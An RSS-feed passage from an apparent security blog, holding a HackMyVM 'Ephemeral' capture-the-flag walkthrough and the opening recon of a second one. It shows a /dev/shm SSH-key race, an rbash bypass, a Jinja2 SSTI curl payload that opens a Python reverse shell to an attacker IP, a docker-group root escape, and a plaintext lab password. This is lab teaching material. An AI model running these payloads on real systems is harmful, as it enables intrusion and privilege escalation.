 1672  su randy
 1673  exit
 1674  ssh donald@10.0.0.179
 1675  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1676  exit
 1677  while true; do tee /dev/shm/id_rsa.pub &amp;gt; /tmp/output.txt; done
 1678  while true; do cat /dev/shm/id_rsa.pub; done
 1679  while true; do cat /dev/shm/id_rsa.pub; grep -v cat; done
 1680  while true; do cat /dev/shm/id_rsa.pub; grep -i ssh; done
 1681  while true; do cat /dev/shm/id_rsa.pub; sleep 9.0 done
 1682  while true; do cat /dev/shm/id_rsa.pub; sleep 9.0; done
 1683  while true; do cat /dev/shm/id_rsa.pub; done
 1684  while true; do cat /dev/shm/id_rsa.pub; done &amp;gt; output.txt
 1685  ls -la 
 1686  cat output.txt 
 1687  clear
 1688  cat output.txt 
 1689  while true; do cat /dev/shm/id_rsa.pub; done &amp;gt; output.txt
 1690  ls -la 
 1691  cat output.txt 
 1692  rm -r 
 1693  rm -r output.txt 
 1694  clear
 1695  cat output.txt 
 1696  ls -la 
 1697  while true; do cat /dev/shm/id_rsa.pub; done &amp;gt; output.txt
 1698  ls -la
 1699  cat output.txt 
 1700  clear
 1701  ls -la 
 1702  clear
 1703  ls -la 
 1704  pwd 
 1705  sudo -l 
 1706  nano mypass.txt
 1707  clear
 1708  ls al 
 1709  ls -la 
 1710  cat mypass.txt 
 1711  clear
 1712  ls -la 
 1713  nano mypass.txt 
 1714  clear
 1715  si kevin
 1716  su kevin
 1717  id 
 1718  su kevin
 1719  exit
 1720  sudo -l
 1721  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1722  s -la 
 1723  clear
 1724  ls -la 
 1725  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1726  s -la 
 1727  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1728  lear
 1729  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1730  s -al 
 1731  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1732  exit
 1733  clear
 1734  ls -la 
 1735  rm -r .ssh/
 1736  clear
 1737  ls -al 
 1738  touch mypass.txt
 1739  clear
 1740  ls -la 
 1741  clear
 1742  ls -la 
 1743  cd Desktop/
 1744  ls -la 
 1745  clear
 1746  ls -la 
 1747  ./screen -v 
 1748  wget https://www.exploit-db.com/raw/41154 -O exploit.c
 1749  ls -la 
 1750  gcc exploit.c -o exploit
 1751  ls -la 
 1752  clear
 1753  ls -la 
 1754  rm -r exploit.c 
 1755  clear
 1756  ls -la 
 1757  nano exploit.c
 1758  ls -al 
 1759  gcc exploit.c -o exploit
 1760  ls -la 
 1761  rm -r exploit.c 
 1762  clear
 1763  nano exploit.sh
 1764  chmod +x exploit.sh 
 1765  ./exploit.sh 
 1766  ls -la 
 1767  ./exploit.sh 
 1768  clear
 1769  ls -la 
 1770  screen -v 
 1771  ./exploit.sh 
 1772  ls -la 
 1773  which screen
 1774  ls -la 
 1775  ./exploit.sh 
 1776  cd
 1777  ls -la 
 1778  cd Desktop/
 1779  ls -la 
 1780  ./exploit.sh 
 1781  cd /tmp/
 1782  ls -la 
 1783  rm -r rootshell 
 1784  clear
 1785  ls -la 
 1786  cd
 1787  cd Desktop/
 1788  ls -la 
 1789  ./exploit.sh 
 1790  clear
 1791  cd
 1792  su jane
 1793  clear
 1794  ls -la 
 1795  cd Desktop/
 1796  ls -la 
 1797  ./nohup /bin/sh -p -c &amp;quot;sh -p &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;quot;
 1798  ls -la 
 1799  cat nohup
 1800  clear
 1801  ls -la 
 1802  rm -r nohup
 1803  ls -la 
 1804  rm -r nohup.out 
 1805  clear
 1806  cd /tmp/
 1807  ls -la 
 1808  cd keys/
 1809  ls -la 
 1810  cd..
 1811  cd ..
 1812  ls -la 
 1813  cd keys/
 1814  ls -la 
 1815  cd ..
 1816  ls -la 
 1817  cd keys/
 1818  ls -la 
 1819  cat id_rsa.pub 
 1820  clear
 1821  sudo -l
 1822  cat /usr/local/bin/addKeys.sh
 1823  cd
 1824  ls -la 
 1825  cd /tmp/
 1826  clear
 1827  ls -al 
 1828  sudo -l 
 1829  sudo -u jane /usr/local/bin/addKeys.sh
 1830  cd keys/
 1831  ls -la 
 1832  sudo -u jane /usr/local/bin/addKeys.sh
 1833  ls 
 1834  ls -la 
 1835  sudo -l 
 1836  sudo -u jane /usr/local/bin/addKeys.sh
 1837  clear
 1838  sudo -u jane /usr/local/bin/addKeys.sh
 1839  su jane 
 1840  sudo -l 
 1841  sudo -u jane /usr/local/bin/addKeys.sh
 1842  cd ..
 1843  ls -la 
 1844  cd keys/
 1845  ls -la ~
 1846  sudo -u jane /usr/local/bin/addKeys.sh
 1847  ls -l /home/jane/
 1848  cd
 1849  cd /home/
 1850  cd jane/
 1851  ls -la 
 1852  sudo -u jane /usr/local/bin/addKeys.sh
 1853  ls -al 
 1854  cd .ssh/
 1855  ls -la 
 1856  cat id_rsa
 1857  cat id_rsa.pub 
 1858  clear
 1859  ls -la 
 1860  cd ..
 1861  clear
 1862  sudo -l 
 1863  sudo -u jane /usr/local/bin/addKeys.sh
 1864  clear
 1865  cat /usr/local/bin/addKeys.sh
 1866  cd /dev/s
 1867  cd /dev/shm/
 1868  ls -la 
 1869  cd keys/
 1870  ls -la 
 1871  clear
 1872  sudo -u jane /usr/local/bin/addKeys.sh
 1873  clear
 1874  sudo -l 
 1875  sudo -u jane /usr/local/bin/addKeys.sh
 1876  clear
 1877  ls -al 
 1878  sudo -u jane /usr/local/bin/addKeys.sh
 1879  clear
 1880  ls -la 
 1881  sudo -u jane /usr/local/bin/addKeys.sh
 1882  cd ..
 1883  ls -al 
 1884  ls -la 
 1885  rm -r id_rsa.pub 
 1886  ls -la 
 1887  rm -r id_rsa.pub 
 1888  ls -al 
 1889  ls -la 
 1890  cat id_rsa.pub 
 1891  clear
 1892  ls -al 
 1893  rm -r id_rsa.pub 
 1894  ls -la 
 1895  rm -r id_rsa.pub 
 1896  ls -la 
 1897  clear
 1898  ls -la 
 1899  rm -r id_rsa.pub 
 1900  clear
 1901  ls -al 
 1902  sudo -l 
 1903  sudo -u jane /usr/local/bin/addKeys.sh
 1904  clear
 1905  sudo -u jane /usr/local/bin/addKeys.sh
 1906  clear
 1907  sudo -u jane /usr/local/bin/addKeys.sh
 1908  ls -la 
 1909  clear
 1910  ls -la 
 1911  rm  -r id_rsa.pub 
 1912  clear
 1913  ls -al 
 1914  rm -r id_rsa.pub 
 1915  ls -la 
 1916  clear
 1917  sudo -u jane /usr/local/bin/addKeys.sh
 1918  clear
 1919  ls -al 
 1920  clear
 1921  sudo -l 
 1922  sudo -u jane /usr/local/bin/addKeys.sh
 1923  ls -la 
 1924  rm -r id_rsa.pub 
 1925  clear
 1926  ls 
 1927  ls -al 
 1928  rm -r id_rsa.pub 
 1929  ls -la 
 1930  sudo -u jane /usr/local/bin/addKeys.sh
 1931  clear
 1932  ls -la 
 1933  cd
 1934  clear
 1935  ls -la 
 1936  cat mypass.txt 
 1937  clear
 1938  ls -al 
 1939  cat mypass.txt 
 1940  clear
 1941  sudo -l
 1942  clear
 1943  ls -al 
 1944  rm -r mypass.txt 
 1945  su root
 1946  clear
 1947  su randy
 1948  cd ..
 1949  su randy
 1950  clear
 1951  ls -la 
 1952  cd jane/
 1953  ls -la 
 1954  cd kevin/
 1955  cd randy/
 1956  clear
 1957  ssh jane@10.0.0.179
 1958  exit
 1959  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1960  exit 
 1961  clear
 1962  ls -la 
 1963  which pkexec
 1964  cd
 1965  exit
 1966  sudo -l
 1967  clear
 1968  ls -la 
 1969  sudo -l
 1970  clear
 1971  ls -la 
 1972  ssh donald@10.0.0.179 
 1973  exit
 1974  clear
 1975  exit
 1976  clear
 1977  sudo -l 
 1978  su jane
 1979  su kevin
 1980  exit
 1981  ssh donald@10.0.0.179 
 1982  ssh donald@10.0.0.179 -t &amp;quot;bash --profile&amp;quot;
 1983  ssh donald@10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 1984  clear
 1985  exit
 1986  clear
 1987  ls -la 
 1988  cd ..
 1989  ls -al 
 1990  cd donald/
 1991  ls 
 1992  cat mypass.txt 
 1993  cat note.txt 
 1994  clear
 1995  exit
 1996  clea
 1997  rcd
 1998  ssh 10.0.0.179 
 1999  ssh 10.0.0.179 -t &amp;quot;bash --noprofile&amp;quot;
 2000  exit
 2001  whoami
 2002  cd ~
 2003  ls
 2004  cat mypass.txt 
 2005  cat note.txt 
 2006  cd commands/
 2007  ls
 2008  id
 2009  history
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) donald@ephemeral:/$ sudo -l
[sudo] password for donald: 
Matching Defaults entries for donald on ephemeral:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User donald may run the following commands on
        ephemeral:
    (jane) PASSWD: /usr/local/bin/addKeys.sh

    
(remote) donald@ephemeral:/$ cat /usr/local/bin/addKeys.sh
#!/bin/bash

/usr/bin/rm -rf /dev/shm/id_rsa.pub
/usr/bin/rm -rf /dev/shm/id_rsa

/usr/bin/ssh-keygen -q -t rsa -N &amp;#39;&amp;#39; -f /dev/shm/id_rsa

/bin/echo &amp;quot;Keys Added!&amp;quot;

/usr/bin/rm -rf /home/jane/.ssh/

/bin/echo &amp;quot;Directory Deleted!&amp;quot;

/usr/bin/mkdir /home/jane/.ssh/

/bin/echo &amp;quot;.ssh Directory Created!&amp;quot;

/usr/bin/cp /dev/shm/id_rsa.pub /home/jane/.ssh/authorized_keys

/bin/echo &amp;quot;Keys Copied.&amp;quot;

/usr/bin/chmod 600 /home/jane/.ssh/authorized_keys

/bin/echo &amp;quot;Permissions Changed!&amp;quot;

/usr/bin/rm -rf /dev/shm/id_rsa
/usr/bin/rm -rf /dev/shm/id_rsa.pub 

/bin/echo &amp;quot;Keys Removed!&amp;quot;






(remote) donald@ephemeral:/$ ls -la /usr/local/bin/addKeys.sh
-rwxr-xr-x 1 root root 579 Mar 16  2022 /usr/local/bin/addKeys.sh                                         
(remote) donald@ephemeral:/$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#!/bin/bash
# 使用 /bin/bash 解释器执行（不是 rbash）

/usr/bin/rm -rf /dev/shm/id_rsa.pub
# 删除 /dev/shm 中旧的公钥文件
# ⚠️ /dev/shm 是 world-writable，任何用户都能提前放文件

/usr/bin/rm -rf /dev/shm/id_rsa
# 删除 /dev/shm 中旧的私钥文件
# ⚠️ 这里只是假设“文件一定是脚本自己生成的”，但实际上不可信

/usr/bin/ssh-keygen -q -t rsa -N &amp;#39;&amp;#39; -f /dev/shm/id_rsa
# 生成一对 RSA SSH key
#   私钥：/dev/shm/id_rsa
#   公钥：/dev/shm/id_rsa.pub
# -N &amp;#39;&amp;#39;  表示私钥无密码
# -q     静默模式
# ⚠️ 如果文件已存在，ssh-keygen 会询问是否覆盖（交互点 / 竞态点）

/bin/echo &amp;quot;Keys Added!&amp;quot;
# 输出提示信息（无安全意义）

/usr/bin/rm -rf /home/jane/.ssh/
# 删除 jane 原有的 .ssh 目录
# 这会清空她之前的所有 SSH key
# ⚠️ 这是一次“强制重置 SSH 登录方式”

/bin/echo &amp;quot;Directory Deleted!&amp;quot;
# 提示信息

/usr/bin/mkdir /home/jane/.ssh/
# 重新创建 jane 的 .ssh 目录
# 默认权限通常为 755（取决于 umask）

/bin/echo &amp;quot;.ssh Directory Created!&amp;quot;
# 提示信息

/usr/bin/cp /dev/shm/id_rsa.pub /home/jane/.ssh/authorized_keys
# 将 /dev/shm 中的公钥复制为 jane 的 authorized_keys
# 🔥 关键漏洞点：
#   - 完全信任 /dev/shm/id_rsa.pub
#   - 不校验文件来源、owner、inode
#   - 如果攻击者在此之前替换了该文件
#   - jane 就会信任攻击者的 SSH key

/bin/echo &amp;quot;Keys Copied.&amp;quot;
# 提示信息

/usr/bin/chmod 600 /home/jane/.ssh/authorized_keys
# 设置 authorized_keys 权限为 600（SSH 要求）
# ⚠️ 权限是对的，但内容可能是攻击者控制的

/bin/echo &amp;quot;Permissions Changed!&amp;quot;
# 提示信息

/usr/bin/rm -rf /dev/shm/id_rsa
# 删除 /dev/shm 中的私钥
# ⚠️ 攻击者通常已提前复制，删除已无意义

/usr/bin/rm -rf /dev/shm/id_rsa.pub
# 删除 /dev/shm 中的公钥
# ⚠️ 只是“表面清理痕迹”

/bin/echo &amp;quot;Keys Removed!&amp;quot;
# 最终提示
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这是一个“以 jane 身份重置 SSH 登录密钥”的脚本&lt;/strong&gt;&lt;br&gt;目的：让执行者可以用新生成的 key 登录 jane&lt;/p&gt;
&lt;p&gt;**但因为 使用了 world-writable 的 &lt;strong&gt;&lt;code&gt;**/dev/shm**&lt;/code&gt;&lt;/strong&gt; 且无校验，&lt;br&gt;**&lt;strong&gt;被 donald 利用做了竞态注入。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;**利用 &lt;strong&gt;&lt;code&gt;**sudo -u jane /usr/local/bin/addKeys.sh**&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;**&lt;strong&gt;往 &lt;strong&gt;&lt;code&gt;**jane**&lt;/code&gt;&lt;/strong&gt; 的 &lt;strong&gt;&lt;code&gt;**authorized_keys**&lt;/code&gt;&lt;/strong&gt; 写入你控制的 SSH 公钥&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;✅ Step 1：生成你自己的 SSH key（一次即可）&lt;/h3&gt;
&lt;p&gt;在 &lt;strong&gt;donald&lt;/strong&gt; 上：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cd /dev/shm
ssh-keygen -q -t rsa -N &amp;#39;&amp;#39; -f jane
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确认存在：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ls -l /dev/shm/jane*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试时发现存在rbash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;donald@ephemeral:~$ cd /dev/shm -rbash: cd: restricted 
donald@ephemeral:~$ ssh-keygen -q -t rsa -N &amp;#39;&amp;#39; -f jane -rbash: /usr/lib/command-not-found: restricted: cannot specify /&amp;#39; in command names 
donald@ephemeral:~$ ls -l /dev/shm/jane* -rbash: /usr/lib/command-not-found: restricted: cannot specify /&amp;#39; in command names 
donald@ephemeral:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;突破限制&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh donald@192.168.0.100 -t &amp;quot;bash --noprofile&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;donald\nORMAniAntIcINacKLAi&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;✅ Step 2：启动竞争（不要停）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;while true; do
  cp /dev/shm/jane /dev/shm/id_rsa
  cp /dev/shm/jane.pub /dev/shm/id_rsa.pub
  chmod 777 /dev/shm/id_rsa /dev/shm/id_rsa.pub
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ &lt;strong&gt;这个窗口不要关，保持运行&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;✅ Step 3：在另一个终端执行 sudo 脚本&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo -u jane /usr/local/bin/addKeys.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当看到提示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/dev/shm/id_rsa already exists.
Overwrite (y/n)?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 &lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;n
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后脚本会正常跑完：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Keys Added!
Directory Deleted!
.ssh Directory Created!
Keys Copied.
Permissions Changed!
Keys Removed!
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;✅ Step 4：立刻保存私钥（非常关键）&lt;/h3&gt;
&lt;p&gt;在 &lt;strong&gt;donald&lt;/strong&gt; 上：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cp /dev/shm/jane ~/jane_id_rsa
chmod 600 ~/jane_id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（就算 &lt;code&gt;/dev/shm&lt;/code&gt; 里的被删了，这份还能用）&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;✅ Step 5：SSH 登录 jane 🎉&lt;/h3&gt;
&lt;h5&gt;本机登录&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;ssh -i ~/jane_id_rsa jane@localhost&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;donald@ephemeral:~$ ssh -i ~/jane_id_rsa jane@localhost
The authenticity of host &amp;#39;localhost (127.0.0.1)&amp;#39; can&amp;#39;t be established.
ECDSA key fingerprint is SHA256:/k63fO51xfAWhhIRatrod8DX2c8EHuVYagl9FGfd6Q0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;localhost&amp;#39; (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.17.0-051700rc7-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

17 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

New release &amp;#39;22.04.5 LTS&amp;#39; available.
Run &amp;#39;do-release-upgrade&amp;#39; to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2025.
jane@ephemeral:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权-randy&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jane@ephemeral:~$ sudo -l
Matching Defaults entries for jane on ephemeral:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jane may run the following commands on
        ephemeral:
    (randy) NOPASSWD: /usr/bin/python3
        /var/www/html/private_html/app.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jane@ephemeral:~$ cat /var/www/html/private_html/app.py
from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route(&amp;quot;/page&amp;quot;)
def page():

    name = request.values.get(&amp;#39;name&amp;#39;)


    output = Jinja2.from_string(&amp;#39;Welcome &amp;#39; + name + &amp;#39;!&amp;#39;).render()


    return output

if __name__ == &amp;quot;__main__&amp;quot;:
    app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=5000)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SSTI外部模板注入：漏洞点&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;output = Jinja2.from_string(&amp;#39;Welcome &amp;#39; + name + &amp;#39;!&amp;#39;).render()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;问题有 3 个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name 来自用户输入

被 直接拼接进模板

使用的是 Jinja2.from_string().render()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;curl -G \
  --data-urlencode &amp;quot;name={{cycler.__init__.__globals__.os.system(\&amp;quot;python3 -c &amp;#39;import socket,os,pty;s=socket.socket();s.connect((\\\&amp;quot;192.168.0.106\\\&amp;quot;,4444));[os.dup2(s.fileno(),i) for i in (0,1,2)];pty.spawn(\\\&amp;quot;/bin/bash\\\&amp;quot;)&amp;#39;\&amp;quot;)}}&amp;quot; \
  http://192.168.0.100:5000/page
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 4444

(remote) randy@ephemeral:/home/jane$ whoami
randy

(remote) randy@ephemeral:/home/randy$ cat user.txt 
68fef287012c99bf6df47fd97484748f
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) randy@ephemeral:/home/randy$ id
uid=1002(randy) gid=1002(randy) groups=1002(randy),1003(docker)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看见randy是docker组的，又因为之前在ps进程中看到了docker正在运行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;docker run -it -v /:/mnt alpine chroot /mnt /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;docker run&lt;/code&gt; 到底做了什么&lt;/h3&gt;
&lt;h4&gt;1️⃣ &lt;code&gt;docker run&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;意思是：&lt;/p&gt;
&lt;p&gt;让 &lt;strong&gt;docker 守护进程（root）&lt;/strong&gt; 帮你启动一个容器&lt;/p&gt;
&lt;p&gt;你虽然是普通用户，但你&lt;strong&gt;指挥的是 root 在干活&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;2️⃣ &lt;code&gt;-v /:/mnt&lt;/code&gt; —— 真正的杀招&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;宿主机的 /   →   容器里的 /mnt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步的真实含义是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;把宿主机的整个根文件系统，原封不动，交给容器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;此时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/mnt/etc&lt;/code&gt; = 宿主机 &lt;code&gt;/etc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/mnt/root&lt;/code&gt; = 宿主机 &lt;code&gt;/root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/mnt/bin&lt;/code&gt; = 宿主机 &lt;code&gt;/bin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;⚠️ 这一步已经是&lt;strong&gt;完全文件系统接管&lt;/strong&gt;了。&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;3️⃣ &lt;code&gt;alpine&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;只是一个&lt;strong&gt;壳子&lt;/strong&gt;，不重要&lt;br&gt;重要的不是 alpine，而是 **你挂进去的 **&lt;code&gt;**/**&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;4️⃣ &lt;code&gt;chroot /mnt /bin/bash&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这是&lt;strong&gt;最核心的一句&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;chroot 是什么？&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;chroot = 改变“你眼中的根目录”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行这句之后：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;之前你看到的 &lt;code&gt;/&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;现在你看到的 &lt;code&gt;/&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;alpine 容器的 &lt;code&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;**宿主机的 **&lt;code&gt;**/**&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;所以这句：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;chroot /mnt /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;翻成人话就是：&lt;/p&gt;
&lt;p&gt;“在宿主机的根目录里，用 bash 给我开一个 shell”&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) randy@ephemeral:/home/randy$ id
uid=1002(randy) gid=1002(randy) groups=1002(randy),1003(docker)
(remote) randy@ephemeral:/home/randy$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
alpine       latest    c059bfaa849c   4 years ago   5.59MB
(remote) randy@ephemeral:/home/randy$ 
(remote) randy@ephemeral:/home/randy$ docker run -it --rm \
&amp;gt;   -v /:/mnt \
&amp;gt;   alpine chroot /mnt /bin/bash

groups: cannot find name for group ID 4
groups: cannot find name for group ID 11
To run a command as administrator (user &amp;quot;root&amp;quot;), use &amp;quot;sudo &amp;lt;command&amp;gt;&amp;quot;.
See &amp;quot;man sudo_root&amp;quot; for details.

root@8d424afcf40b:/# 
root@8d424afcf40b:/# ls
bin    home    lost+found    proc  srv       var
boot   lib     media         root  swapfile
cdrom  lib32   mnt           run   sys
dev    lib64   opt           sbin  tmp
etc    libx32  private_html  snap  usr
root@8d424afcf40b:/# cd root
root@8d424afcf40b:~# ls
root.txt  snap
root@8d424afcf40b:~# cat root.txt 
8e77a69cc53f51e6f2a03e7e2d9c2219
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Influencer</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/influencer/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/influencer/</guid><description>Have fun :)</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Influencer-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
192.168.0.109   08:00:27:5f:d9:8d       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.109
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-12 12:46 EST
Nmap scan report for 192.168.0.103
Host is up (0.00026s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
2121/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0           11113 Jun 09  2023 facebook.jpg
| -rw-r--r--    1 0        0           35427 Jun 09  2023 github.jpg
| -rw-r--r--    1 0        0           88816 Jun 09  2023 instagram.jpg
| -rw-r--r--    1 0        0           27159 Jun 09  2023 linkedin.jpg
| -rw-r--r--    1 0        0              28 Jun 08  2023 note.txt
|_-rw-r--r--    1 0        0          124263 Jun 09  2023 snapchat.jpg
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.0.106
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.06 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ftp-匿名登录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ftp&amp;gt; mget *
mget facebook.jpg [anpqy?]? 
229 Entering Extended Passive Mode (|||15810|)
150 Opening BINARY mode data connection for facebook.jpg (11113 bytes).
100% |***************************************************************| 11113       22.93 MiB/s    00:00 ETA
226 Transfer complete.
11113 bytes received in 00:00 (13.81 MiB/s)
mget github.jpg [anpqy?]? 
229 Entering Extended Passive Mode (|||5962|)
